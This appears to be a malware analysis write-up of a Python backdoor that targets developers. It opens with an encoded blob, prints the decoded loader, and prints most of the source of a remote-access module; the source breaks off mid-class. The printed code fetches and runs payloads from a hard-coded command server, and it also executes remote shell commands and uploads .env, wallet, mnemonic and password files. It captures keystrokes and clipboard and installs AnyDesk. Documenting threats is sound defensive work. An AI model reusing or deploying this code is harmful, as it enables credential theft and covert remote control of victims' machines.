kmHnLPvWjG0L16TQ1M0n4F40TSYlAEbVvnYhY81F6UCa6FqgdBO/M2M9LDnj25jwlD/qYcoxRkeF7N51RFK0VTENve8DLYP+Xv6kKURgxJH7lS4lDUdVfEfHG8lvWQ/0Tp1ADANcD5sNghlEm3Dyqpr5n3Sd8UYSNh3dGgTsOnG2Z1rhA9uvv6FIbq8z9WkREVNiDB/bOs2IoudF485xq67P+M34D/YmRlpxWIqybArS2l1uGT+Zurk+vNjfHorcdwOin73KI9NvjogQylQh/u9tVTbccbU4KQdPYy/I1FN5xQugMHV9SHJOhfbFWqI+gOaObKzmIPXi4zSegKjcWTzILU+vXQf93AP/2+zeA2tx0AmT0CihTyuaDJU/9yrRfb32EBJZ8a3asUwi88OIsQqOREVdh+Ydo9SzL7C5HsshixLAXzX3uhHL69Cowcz1LbKeK305MrfnHv/KOwBKotfvk7ExU7jubzXVg659NGd6mpnfG7jmYFvKbpexyqw06DvQ4tKDVg0kKcdYbjvSgUkfUKsvFM4xMaYr/wr4r4VkQeTd2LgP0kRs9DWlAEG0J4U93A/HJYNyYaYoMHH6nVDNeUg+qOEg2UGFYg7KMht3RAqsiJdvEPWiX7Me/6vzHvuKrloLtoNsU4OTrjDAIBppGBZO3wf5toPtCdBdKzoHvlbGtNZ6mP+9XNZcJoT31hysmVd9dLiUryT3TDfEru2Hsgp2PnNmZrPOihMj1lIE4Ighv64umCtLQrFI2oBmgTdxAN1N2ejc6gFb9i3TFaXYX1vKfsV0ZTAnL49wvgmmcrBznyWuXODh+fV716QqC9v2mJ7UJ0Em+unISx0PEIoArIECYOPblwZAsg72q8mhOpFYosvzmJIMAaBeKMGRE5v47dni+DsTS9LNfhvS7cLGtMtbgXUUobCM7r/A3Yq5dq9u/xV7aVqLb+lRiDU+C55pTLKZauG9O2bRPV/fDyHidk9/Eah0jvb9oVINMJy2uUob1EADyktW9I54RY1kigahcDaRgC5omaYoMcpNz8CCEmUNicYjRTF7icim9CDLhJ3FA+0Z8fu3g7kA+1RF9+CcfW4C/g0/hZAHqbyC70z0ISPZKJrnjCrLtMPwyH5ftmVWnJwsMlQofI8IbVvUexgiEFBeLRHzfuwMVQ6U9caTTzf0saJwbHiugI4S0kxnaj0/m9//f33//Mfqywp7Uo0x/95FzMPMpT/jZmZYmBGeVTdZROgUxyW0lNwJe'))

After decoding this file, it is the following code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import base64,platform,os,subprocess,sys
try:import requests
except:subprocess.check_call([sys.executable, '-m', 'pip', 'install', 'requests']);import requests

sType = "15"
gType = "812"
ot = platform.system()
home = os.path.expanduser("~")

mainUpdateDate = "Updated on 5th August"

host1 = "146.70.253.107"
host2 = f'http://{host1}:1224'
pd = os.path.join(home, ".n2")
ap = pd + "/way"

def download_payload():
    if os.path.exists(ap):
        try:os.remove(ap)
        except OSError:return True
    try:
        if not os.path.exists(pd):os.makedirs(pd)
    except:pass

    try:
        if ot=="Darwin":
            # aa = requests.get(host2+"/payload1/"+sType+"/"+gType, allow_redirects=True)
            aa = requests.get(host2+"/payload/"+sType+"/"+gType, allow_redirects=True)
            with open(ap, 'wb') as f:f.write(aa.content)
        else:
            aa = requests.get(host2+"/payload/"+sType+"/"+gType, allow_redirects=True)
            with open(ap, 'wb') as f:f.write(aa.content)
        return True
    except Exception as e:return False
res=download_payload()
if res:
    if ot=="Windows":subprocess.Popen([sys.executable, ap], creationflags=subprocess.CREATE_NO_WINDOW | subprocess.CREATE_NEW_PROCESS_GROUP)
    else:subprocess.Popen([sys.executable, ap])

if ot=="Darwin":sys.exit(-1)

ap = pd + "/pow"

def download_browse():
    if os.path.exists(ap):
        try:os.remove(ap)
        except OSError:return True
    try:
        if not os.path.exists(pd):os.makedirs(pd)
    except:pass
    try:
        aa=requests.get(host2+"/brow/"+ sType +"/"+gType, allow_redirects=True)
        with open(ap, 'wb') as f:f.write(aa.content)
        return True
    except Exception as e:return False
res=download_browse()
if res:
    if ot=="Windows":subprocess.Popen([sys.executable, ap], creationflags=subprocess.CREATE_NO_WINDOW | subprocess.CREATE_NEW_PROCESS_GROUP)
    else:subprocess.Popen([sys.executable, ap])

Discover it used HTTP GET to request http://146.70.253[.]107:1224/payload/15/812 and http://146.70.253[.]107:1224/brow/15/812, saving as ~/.n2/way and ~/.n2/pow respectively, and executed them.

~/.n2/way

This module mainly performs C2 control commands.

First it sends initial notification to http://146.70.253[.]107:1224/keys carrying Host Info and SysInfo.

HTTP POST request follows:

1
2
3
4
5
6
7
8
9
10
POST /keys HTTP/1.1
Host: 146.70.253.107:1224
Content-Type: application/x-www-form-urlencoded
User-Agent: python-requests/x.x.x
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: <Length>

ts=<Timestamp_Milliseconds>&type=15&hid=812_<Hostname>&ss=sys_info&cc={'uuid': '<UUID>', 'system': '<OS>', 'release': '<Release>', 'version': '<Version>', 'hostname': '812_<Hostname>', 'username': '<Username>', 'net_info': {'query': '<Public_IP>', 'country': '<Country>', 'city': '<City>', ...}}

Next uses TCP socket to connect to 146.70.253[.]107:2241 and enters infinite loop waiting for commands. Below is Command Table:

  1. ssh_obj: Execute Shell command
  2. ssh cmd : Kill Python Process
  3. ssh_clip : If windows get Keylogger + clipboard content, other OS return empty string
  4. sshrun : Download pow program to ~/.n2/bow
  5. ssh_upload : Upload specified directory/file to http://146.70.253[.]107:1224/uploads
  6. ssh_kill : Kill Chrome/Brave process
  7. sshany : Download and execute Anydesk module from http://146.170.253[.]107:1224/adc/15
  8. ssh_env : Search .env files and upload http://146.70.253[.]107:1224/uploads

HTTP POST Upload Example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
POST /uploads HTTP/1.1
Host: 146.70.253.107:1224
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary<RandomString>
User-Agent: python-requests/x.x.x
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: <Length>

----------WebKitFormBoundary<RandomString>
Content-Disposition: form-data; name="type"

15
----------WebKitFormBoundary<RandomString>
Content-Disposition: form-data; name="hid"

812_<Hostname>
----------WebKitFormBoundary<RandomString>
Content-Disposition: form-data; name="uts"

<Upload_Tag>
----------WebKitFormBoundary<RandomString>
Content-Disposition: form-data; name="multi_file"; filename="<Timestamp>_<Filename>"
Content-Type: application/octet-stream

<Binary_File_Content>
----------WebKitFormBoundary<RandomString>--

After upload success, it records attack record in ~/.n2/flist.

~/.n2/way Complete Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
import base64,socket
from uuid import getnode
from requests import get,post
from hashlib import sha256
from getpass import getuser
from platform import system,node,release,version
import time

sType = "15"
gType = "812"

payUpdateDate = "Updated on 5th August"

class HostInfo(object):
    def __init__(A):
        A.system=system()
        if gType == "root":
            A.hostname=node()
        else:
            A.hostname=gType + "_" + node()
        A.release=release()
        A.version=version()
        A.username=getuser()
        A.uuid=A.getID()
    def getID(A):return sha256((str(getnode())+getuser()).encode()).digest().hex()
    def sysinfo(A):return{'uuid':A.uuid,'system':A.system,'release':A.release,'version':A.version,'hostname':A.hostname,'username':A.username}

class Position(object):
    def __init__(A):A.geo=A.get_geo();A.internal_ip=A.get_internal_ip()
    def get_internal_ip(A):
        try:return socket.gethostbyname_ex(hn)[-1][-1]
        except:return''
    def get_geo(A):
        try:return get('http://ip-api.com/json').json()
        except:pass
    def net_info(A):
        g=A.get_geo()
        if g:
            ii=A.internal_ip
            if ii:g['internalIp']=ii
        return g

class SysInfo(object):
    def __init__(A):A.net_info=Position().net_info();A.sys_info=HostInfo().sysinfo()
    def parse(K,data):
        J='regionName';I='country';H='query';G='city';F='isp';E='zip';D='lon';C='lat';B='timezone';_A='internalIp'
        A=data;A={C:A[C]if C in A else'',D:A[D]if D in A else'',E:A[E]if E in A else'',F:A[F]if F in A else'',G:A[G]if G in A else'',H:A[H]if H in A else'',I:A[I]if I in A else'',B:A[B]if B in A else'',J:A[J]if J in A else'',_A:A[_A]if _A in A else''}
        if'/'in A[B]:A[B]=A[B].replace('/',' ')
        if'_'in A[B]:A[B]=A[B].replace('_',' ')
        return A
    def get_info(A):B=A.net_info;return{'sys_info':A.sys_info,'net_info':A.parse(B if B else[])}

# host="LjE3LjI0OTUuMTY0"
#host="  NTEuMjEy  MTAuMTAu"
PORT = 1224
HOST = '146.70.253.107'
if gType == "root":
    hn = socket.gethostname()
else:
    hn = gType + "_" + socket.gethostname()

class Trans(object):
    def __init__(A):A.sys_info=SysInfo().get_info()
    def contact_server(A,ip,port):
        A.ip,A.port=ip,int(port);B=int(time.time()*1000);C={'ts':str(B),'type':sType,'hid':hn,'ss':'sys_info','cc':str(A.sys_info)};D=f"http://{A.ip}:{A.port}/keys"
        try:post(D,data=C)
        except Exception as e:pass
def run_comm():c=Trans();c.contact_server(HOST, PORT);del c
run_comm()

import base64,platform,socket
from time import sleep
from socket import timeout as TimeOutError
import time
from datetime import datetime,timezone,timedelta
import json,os,struct,subprocess
from threading import Thread,RLock,Timer
import requests,ftplib
import ast
sHost = socket.gethostname()
# host="LjE3LjI0OTUuMTY0"
#host="  NTEuMjEy  MTAuMTAu"
_T=True;_F=False;_N=None;_A='admin';_O='output'
class Session(object):
    def __init__(A,sock):A.sock=sock;A.info={'type':0,'group':sType,'name':sHost}
    def shutdown(A):
        try:A.sendall('[close]');A.sock.shutdown(socket.SHUT_RDWR);A.sock.close()
        except:pass
    def connect(A,ip,port):
        A.sock.connect((ip,port));sleep(.5)
        A.send(code=0,args=A.info)
        sleep(.5);return _T
    def struct(A,code=_N,args=_N):return json.dumps({'code': code,'args': args})
    def send(A,code=_N,args=_N):d=A.struct(code, args);A.sendall(d)
    def sendall(A,data):
        try:
            try:ii = data.encode()
            except:ii = data
            ii = struct.pack('>I', len(ii)) + ii
            A.sock.sendall(ii)
        except:pass
    def recv(A):
        try:
            print("start ses recv")
            ll = A.recvall(4)
            print("ses recv size:", ll)
            if not ll:return _N
            ml = struct.unpack('>I', ll)[0]
            print("ses recv:", ml)
            # Read the message datacls
            return A.recvall(ml)
        except TimeOutError:return -1
        except:pass
    def recvall(A,size):
        try:
            d = bytearray()
            while len(d) < size:
                pt = A.sock.recv(size - len(d))
                if not pt:return _N
                d.extend(pt)
            return d
        except:return _N

e_buf = ""
def decode_str(ss):
    try:r=ss.decode('utf8');return r
    except:
        try:r=ss.decode('cp1252');return r
        except:
            try:r=ss.decode('mac_roman');return r
            except:return ss

ex_files = ['.exe','.dll','.msi','.dmg','.iso','.pkg','.apk','.xapk','.aar','.ap_','.aab','.dex','.class','.rpm','.deb','.ipa','.dsym','.mp4','.avi','.mp3','.wmv','.wma','.mov','.webm','.avchd','.mkv','.ogg','.mpe','.mpv','.mpeg','.m4p','.m4a','.m4v','.aac','.flac','.aiff','.qt','.flv','.swf','.pyc','.lock','.psd','.pack','.old','.ppt','.pptx','.virtualization','.indd','.eps','.ai','.a','.jar','.so','.o','.wt','.lib','.dylib','.bin','.ffx','.svg','.css','.scss','.gem','.html']
ex_dirs = ['vendor','Pods','node_modules','.git','.next','.externalNativeBuild','sdk','.idea','cocos2d','compose','proj.ios_mac','proj.android-studio','Debug','Release','debug','release','obj','Obj','xcuserdata','.gradle','build','storage','.android','Program Files (x86)','$RECYCLE.BIN','Program Files','Windows','ProgramData','cocoapods','homebrew','.svn','sbin','standalone','local','ruby','man','zsh','Volumes','Applications','Library','System','Pictures','Desktop','usr','android','var','__pycache__','.angular','cache','.nvm','.yarn','.docker','.local','.vscode','.cache','__MACOSX','.pyp','.gem','.config','.rustup','.pyenv','.rvm','.sdkman','.nix-defexpr','.meteor','.nuget','.cargo','.vscode-insiders','.gemexport','.Bin','.oh-my-zsh','.rbenv','.ionic','.mozilla','.var','.cocoapods','.flipper','.forever','.quokka','.continue','.pub-cache','.debris','jdk','.wine32','.phpls','.typeChallenges','.sonarlint','.aptos','.bluemix','.bundle','.cabal','.changes','.changeset','.circleci','.cp','.cpanm','.cxx','.dart_tool','.dartServer','.dbvis','.deps','.devcontainer','.dotnet','.dropbox.cache','.dthumb','.ebcli-virtual-env','.eclipse','eclipse','.electrum','.executables','.exp','.ghcup','.github','.gnupg','.hash','.hasura','.IdentityService','.indexes','.install','.install4j','.kokoro','.localized','.npm','.node-gyp','.p2','.platformio','.plugin_symlinks','.plugins','.store','.storybook','.tmp','tmp','.turbo','.versions','.vs','.vscode-server','.yalc','!azure','x-pack','lib64','site-packages','node_modules12','kibana-8.5.0','google-cloud-sdk','golang.org','Assets.xcassets','arduino']
pat_envs = ['.env','config.js','secret','metamask','wallet','private','mnemonic','password','account','.xls','.xlsx','.doc','.docx','.rtf']
ex1_files = ['.php','.svg','.htm','.hpp','.cpp','.xml','.png','.swift','.ccb','.jsx','.tsx','.h','.java']
ex2_files = ['tsconfig.json','tailwind.config.js','svelte.config.js','next.config.js','babel.config.js','vite.config.js','webpack.config.js','postcss.config.js','robots.txt','license.txt','.ds_store','.angular-config.json','package-lock.json']

def ld(rd,pd):
    dir=os.path.join(rd,pd);res=[];res.append((pd,''));sa = os.listdir(dir)
    for x in sa:
        fn=os.path.join(dir,x)
        try:
            x0 = x.lower()
            if os.path.isfile(fn):
                ff, fe = os.path.splitext(x0)
                if not fe in ex_files and os.path.getsize(fn) < 104857600:res.append((pd, x))
            elif os.path.isdir(fn):
                if not x in ex_dirs and not x0 in ex_dirs:
                    if pd != '':t=pd+'/'+x
                    else:t=x
                    res=res+ld(rd,t)
        except:pass
    return res

def fmt_s(s):
    if s<1024:return str(s)+'B'
    elif s<1048576:return'{:.0f}KB'.format(s/1024.)
    elif s<1073741824:return'{:.1f}MB'.format(s/1048576.)
    else:return'{:.1f}GB'.format(s/1073741824.)

def write_flist(s):
    default_path = os.path.join(os.path.expanduser("~"), ".n2")
    if os.path.exists(default_path + '/flist') == False:
        make_file = open(default_path + '/flist', 'w')
        make_file.close()
    with open(default_path + '/flist', 'a') as f:
        f.write(s)

def ups(sn):
    try:
        up_time = str(int(time.time()))
        files = [
            ('multi_file', (up_time + '_' + os.path.basename(sn), open(sn, 'rb'))),
        ]
        r = {
            'type': sType,
            'hid': gType + '_' + sHost,
            'uts': 'auto_upload',
        }
        host2 = f"http://{HOST}:{PORT}"
        requests.post(host2 + "/uploads", files=files, data=r)
        if os.path.basename(sn) != 'flist':
            write_flist(up_time + '_' + os.path.basename(sn) + " : " + sn + "\n")
    except: pass

def fpatten(pat):
    try:
        if os_type == "Windows":
            command = 'dir /b /s ' + pat + ' | findstr /v /i "node_modules .css .svg readme license robots vendor Pods .git .github .node-gyp .nvm debug .local .cache .pyp .pyenv next.config .qt .dex __pycache__ tsconfig.json tailwind.config svelte.config vite.config webpack.config postcss.config prettier.config angular-config.json yarn .gradle .idea .htm .html .cpp .h .xml .java .lock .bin .dll .pyi"'
        else:
            command = 'find . -type d -name "node_modules .css .svg readme license robots vendor Pods .git .github .node-gyp .nvm debug .local .cache .pyp .pyenv next.config .qt .dex __pycache__ tsconfig.json tailwind.config svelte.config vite.config webpack.config postcss.config prettier.config angular-config.json yarn .gradle .idea .htm .html .cpp .h .xml .java .lock .bin .dll .pyi" -prune -o -name ' + pat + ' -print'
        proc=subprocess.Popen(command,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE).communicate()

        dirs = proc[0].decode('utf8').split('\n')
        if dirs != ['']:
            for key in dirs:
                if key.strip() == '':
                    continue
                ups(key.strip())
    except: pass

def uenv(C):
    proc=subprocess.Popen(C,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE).communicate()

    dirs = proc[0].decode('utf8').split('\n')
    if dirs != ['']:
        for key in dirs:
            if key.strip() == '':
                continue

            ups(key.strip())

def fenv():
    drive_list = ['C', 'D', 'E', 'F', 'G']
    try:
        if os_type == "Windows":
            for key in drive_list:
                if os.path.exists(f"{key}:\\") == False:
                    continue
                c = 'dir /b /s ' + key + ':\*.env | findstr /v /i "node_modules .css .svg readme license robots vendor Pods .git .github .node-gyp .nvm debug .local .cache .pyp .pyenv next.config .qt .dex __pycache__ tsconfig.json tailwind.config svelte.config vite.config webpack.config postcss.config prettier.config angular-config.json yarn .gradle .idea .htm .html .cpp .h .xml .java .lock .bin .dll .pyi"'
                uenv(c)
        else:
            c = 'find ~/ -type d -name "node_modules .css .svg readme license robots vendor Pods .git .github .node-gyp .nvm debug .local .cache .pyp .pyenv next.config .qt .dex __pycache__ tsconfig.json tailwind.config svelte.config vite.config webpack.config postcss.config prettier.config angular-config.json yarn .gradle .idea .htm .html .cpp .h .xml .java .lock .bin .dll .pyi" -prune -o -name *.env -print'
            uenv(c)
    except: pass

def auto_up():
    # fpatten('*mnemonic*')
    # fpatten('truffle.config*')
    # fpatten('hardhat.config*')
    # fenv()
    print()

os_type = platform.system()
class Shell(object):
    def __init__(A,S):
        A.sess = S;A.is_alive = _T;A.is_delete = _F;A.lock = RLock();A.timeout_count=0;A.cp_stop=0
        A.par_dir = os.path.join(os.path.expanduser("~"), ".n2")
        A.cmds = {1:A.ssh_obj,2:A.ssh_cmd,3:A.ssh_clip,4:A.ssh_run,5:A.ssh_upload,6:A.ssh_kill,7:A.ssh_any,8:A.ssh_env}
        print("init success")
    def listen_recv(A):
        while A.is_alive:
            try:
                print("start listen")
                recv=A.sess.recv()
                print("listen recv:", recv)
                if recv==-1:
                    if A.timeout_count<30:A.timeout_count+=1;continue
                    else:A.timeout_count=0;recv=_N
                if recv:
                    A.timeout_count=0
                    with A.lock:
                        D=json.loads(recv);c=D['code'];args=D['args']
                        try:
                            if c != 2:
                                args=ast.literal_eval(args)
                        except:
                            pass
                        if c in A.cmds:tg=A.cmds[c];t=Thread(target=tg,args=(args,));t.start()#tg(args)
                        else:
                            if A.is_alive:A.is_alive=_F;A.close()
                else:
                    if A.is_alive:A.timeout_count=0;A.is_alive=_F;A.close()
            except Exception as ex:print("error_listen:", ex)

    def shell(A):
        print("start shell")
        t1 = Thread(target=A.listen_recv);t1.daemon=_T;t1.start()
        while A.is_alive:
            try:sleep(5)
            except:break
        A.close()
        return A.is_delete

    def send(A,code=_N,args=_N):A.sess.send(code=code,args=args)
    def sendall(A,m):A.sess.sendall(m)
    def close(A):A.is_alive=_F;A.sess.shutdown()
    def send_n(A,a,n,o):p={_A:a,_O:o};A.send(code=n,args=p)

    def ssh_cmd(A,args):
        try:
            if os_type == "Windows":
                subprocess.Popen('taskkill /IM /F python.exe', shell=_T)
            else:
                subprocess.Popen('killall python', shell=_T)
        except: pass

    def ssh_obj(A,args):
        o=''
        try:
            a=args[_A];cmd=args['cmd']
            if cmd == '':o=''
            elif cmd.split()[0] == 'cd':
                proc = subprocess.Popen(cmd, shell=_T)
                if len(cmd.split()) != 1:
                    p=' '.join(cmd.split()[1:])
                    if os.path.exists(p):os.chdir(p)
                o=os.getcwd()
            else:
                proc=subprocess.Popen(cmd,shell=_T,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE).communicate()
                try:o=decode_str(proc[0]);err=decode_str(proc[1])
                except:o=proc[0];err=proc[1]
                o=o if o else err
        except:pass
        p={_A:a,_O:o};A.send(code=1, args=p)

    def ssh_clip(A,args):
        global e_buf
        try:A.send(code=3, args=e_buf);e_buf = ""
        except:pass

    def bro_down(A,p):
        if os.path.exists(p):
            try:os.remove(p)
            except OSError:return _T
        try:
            if not os.path.exists(A.par_dir):os.makedirs(A.par_dir)
        except:pass

        host2 = f"http://{HOST}:{PORT}"
        try:
            myfile = requests.get(host2+"/brow/"+sType+"/"+gType, allow_redirects=_T)
            with open(p,'wb') as f:f.write(myfile.content)
            return _T
        except Exception as e:return _F

    def ssh_run(A,args):
        try:
            a=args[_A];p=A.par_dir+"/bow";res=A.bro_down(p)
            if res:
                if os_type == "Windows":subprocess.Popen([sys.executable,p],creationflags=subprocess.CREATE_NO_WINDOW|subprocess.CREATE_NEW_PROCESS_GROUP)
                else:subprocess.Popen([sys.executable,p])
            o = os_type + ' get browse'
        except Exception as e:o = f'Err4: {e}';pass
        p={_A:a,_O: o};A.send(code=4,args=p)

    def send_5(A,a,o):A.send_n(a,5,o)

    def ssh_upload(A,args):
        o=''
        try:
            D=args[_A];cmd=args['cmd']
            cmd=ast.literal_eval(cmd)
            if 'sdir' in cmd:sdir=cmd['sdir'];dn=cmd['dname'];sdir=sdir.strip();dn=dn.strip();A.ss_upd(D,cmd,sdir,dn);return _T
            elif 'sfile' in cmd:sfile=cmd['sfile'];dn=cmd['dname'];sfile=sfile.strip();dn=dn.strip();A.ss_upf(D,cmd,sfile,dn);return _T
            elif 'sfind' in cmd:dn=cmd['dname'];pat=cmd['sfind'];dn=dn.strip();pat=pat.strip();A.ss_ufind(D,cmd,dn,pat);return _T
            else:A.ss_ups();o='Stopped ...'
        except Exception as e:print("error_upload:", str(e));o = f'Err4: {e}';pass
        A.send_5(D,o)

    def ss_upd(A,D,args,sd,name):
        A.cp_stop=0;t=_N
        try:
            if sd=='.':sd=os.getcwd()
            A.send_5(D,' >> upload start: ' + sd)
            res=ld(sd,'')
            A.send_5(D,'  -count: ' + str(len(res)-1))
            for (x,y) in res:
                if A.cp_stop==1:A.send_5(D,' upload stopped ');return
                if y=='':continue
                A.ss_hup(os.path.join(sd,y),D,name,5)
            A.send_5(D,' uploaded success ')
        except Exception as ex:
            o=' copy error :'+str(ex);A.send_5(D,o)

    def ss_hup(A,sn,D,name,n):
        try:
            up_time = str(int(time.time()))
            files = [
                ('multi_file', (up_time + '_' + os.path.basename(sn), open(sn, 'rb'))),
            ]
            r = {
                'type': sType,
                'hid': gType + '_' + sHost,
                'uts': name,
            }
            host2 = f"http://{HOST}:{PORT}"
            requests.post(host2 + "/uploads", files=files, data=r)
            if os.path.basename(sn) != 'flist':
                write_flist(up_time + '_' + os.path.basename(sn) + " : " + sn + "\n")
                o=' copied ' + fmt_s(os.path.getsize(sn)) + ':  ' + os.path.basename(sn)
                A.send_n(D,n,o)
            else:
                os.remove(sn)
        except Exception as e:o=' failed: '+sn+' > '+str(e);A.send_n(D,n,o)

    def ss_upf(A,admin,args,sfile,name):
        D=admin;A.cp_stop=0;t=_N
        try:
            sdir=os.getcwd()
            A.send_5(D,' >> upload start: ' + sdir + ' ' + sfile)
            sn=os.path.join(sdir,sfile)
            A.ss_hup(sn,D,name,5)
            A.send_5(D,' uploaded done ')
        except Exception as ex:
            o=' copy error :'+str(ex);A.send_5(D,o)

    def ss_ufind(A,D,args,name,pat):
        A.cp_stop=0;t=_N
        try:
            A.send_5(D,' >> ufind start: ' + os.getcwd())
            if os_type == "Windows":
                command = 'dir /b /s ' + pat + ' | findstr /v /i "node_modules .css .svg readme license robots vendor Pods .git .github .node-gyp .nvm debug .local .cache .pyp .pyenv next.config .qt .dex __pycache__ tsconfig.json tailwind.config svelte.config vite.config webpack.config postcss.config prettier.config angular-config.json yarn .gradle .idea .htm .html .cpp .h .xml .java .lock .bin .dll .pyi"'
            else:
                command = 'find . -type d -name "node_modules .css .svg readme license robots vendor Pods .git .github .node-gyp .nvm debug .local .cache .pyp .pyenv next.config .qt .dex __pycache__ tsconfig.json tailwind.config svelte.config vite.config webpack.config postcss.config prettier.config angular-config.json yarn .gradle .idea .htm .html .cpp .h .xml .java .lock .bin .dll .pyi" -prune -o -name ' + pat + ' -print'
            proc=subprocess.Popen(command,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE).communicate()

            dirs = proc[0].decode('utf8').split('\n')
            if dirs == ['']:
                A.send_5(D,'  -count: ' + str(0))
                A.send_5(D,' Not exist ')
            else:
                A.send_5(D,'  -count: ' + str(len(dirs)-1))
                for key in dirs:
                    if A.cp_stop == 1:A.send_5(D,' upload stopped ');break
                    if key.strip() == '':
                        continue
                    A.ss_hup(key.strip(),D,name,5)
                A.send_5(D,' ufind success ')
        except Exception as ex:
            o=' copy error :'+str(ex);A.send_5(D,o)

    def ss_ups(A):A.cp_stop=1

    def ss_uenv(A,D,C):
        proc=subprocess.Popen(C,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE).communicate()

        dirs = proc[0].decode('utf8').split('\n')
        if dirs == ['']:
            A.send_n(D, 8,'  -count: ' + str(0))
        else:
            A.send_n(D, 8,'  -count: ' + str(len(dirs)-1))
            for key in dirs:
                if A.cp_stop == 1:A.send_n(D, 8,' upload stopped ');break
                if key.strip() == '':
                    continue

                A.ss_hup(key.strip(),D,'global_env',8)

    def ssh_env(A,args):
        drive_list = ['C', 'D', 'E', 'F', 'G']
        A.cp_stop = 0
        try:
            a=args[_A];c=args['cmd']
            c=ast.literal_eval(c)
            A.send_n(a,8,'--- uenv start ')

            if os_type == "Windows":
                for key in drive_list:
                    if os.path.exists(f"{key}:\\") == False:
                        continue
                    c = 'dir /b /s ' + key + ':\*.env | findstr /v /i "node_modules .css .svg readme license robots vendor Pods .git .github .node-gyp .nvm debug .local .cache .pyp .pyenv next.config .qt .dex __pycache__ tsconfig.json tailwind.config svelte.config vite.config webpack.config postcss.config prettier.config angular-config.json yarn .gradle .idea .htm .html .cpp .h .xml .java .lock .bin .dll .pyi"'
                    A.ss_uenv(a,c)
            else:
                c = 'find ~/ -type d -name "node_modules .css .svg readme license robots vendor Pods .git .github .node-gyp .nvm debug .local .cache .pyp .pyenv next.config .qt .dex __pycache__ tsconfig.json tailwind.config svelte.config vite.config webpack.config postcss.config prettier.config angular-config.json yarn .gradle .idea .htm .html .cpp .h .xml .java .lock .bin .dll .pyi" -prune -o -name *.env -print'
                A.ss_uenv(a,c)
            A.send_n(a,8,'--- uenv success ')
        except Exception as e:A.send_n(a,8,' uenv err: '+str(e))

    def ssh_kill(A,args):
        D=args[_A]
        if os_type == "Windows":
            try:subprocess.Popen('taskkill /IM chrome.exe /F')
            except:pass
            try:subprocess.Popen('taskkill /IM brave.exe /F')
            except:pass
        else:
            try:subprocess.Popen('killall Google\ Chrome')
            except:pass
            try:subprocess.Popen('killall Brave\ Browser')
            except:pass
        p={_A:D,_O: 'Chrome & Browser are terminated'}
        A.send(code=6,args=p)

    def down_any(A,p):
        if os.path.exists(p):
            try:os.remove(p)
            except OSError:return _T
        try:
            if not os.path.exists(A.par_dir):os.makedirs(A.par_dir)
        except:pass

        host2 = f"http://{HOST}:{PORT}"
        try:
            myfile = requests.get(host2+"/adc/"+sType, allow_redirects=_T)
            with open(p,'wb') as f:f.write(myfile.content)
            return _T
        except Exception as e:return _F

    def ssh_any(A,args):
        try:
            D=args[_A];p = A.par_dir + "/adc";res=A.down_any(p)
            if res:
                if os_type == "Windows":subprocess.Popen([sys.executable,p],creationflags=subprocess.CREATE_NO_WINDOW|subprocess.CREATE_NEW_PROCESS_GROUP)
                else:subprocess.Popen([sys.executable,p])
            o = os_type + ' get anydesk'
        except Exception as e:o = f'Err7: {e}';pass
        p={_A:D,_O:o};A.send(code=7,args=p)

HOST0 = '146.70.253.107'
PORT0 = 2241

class Client():
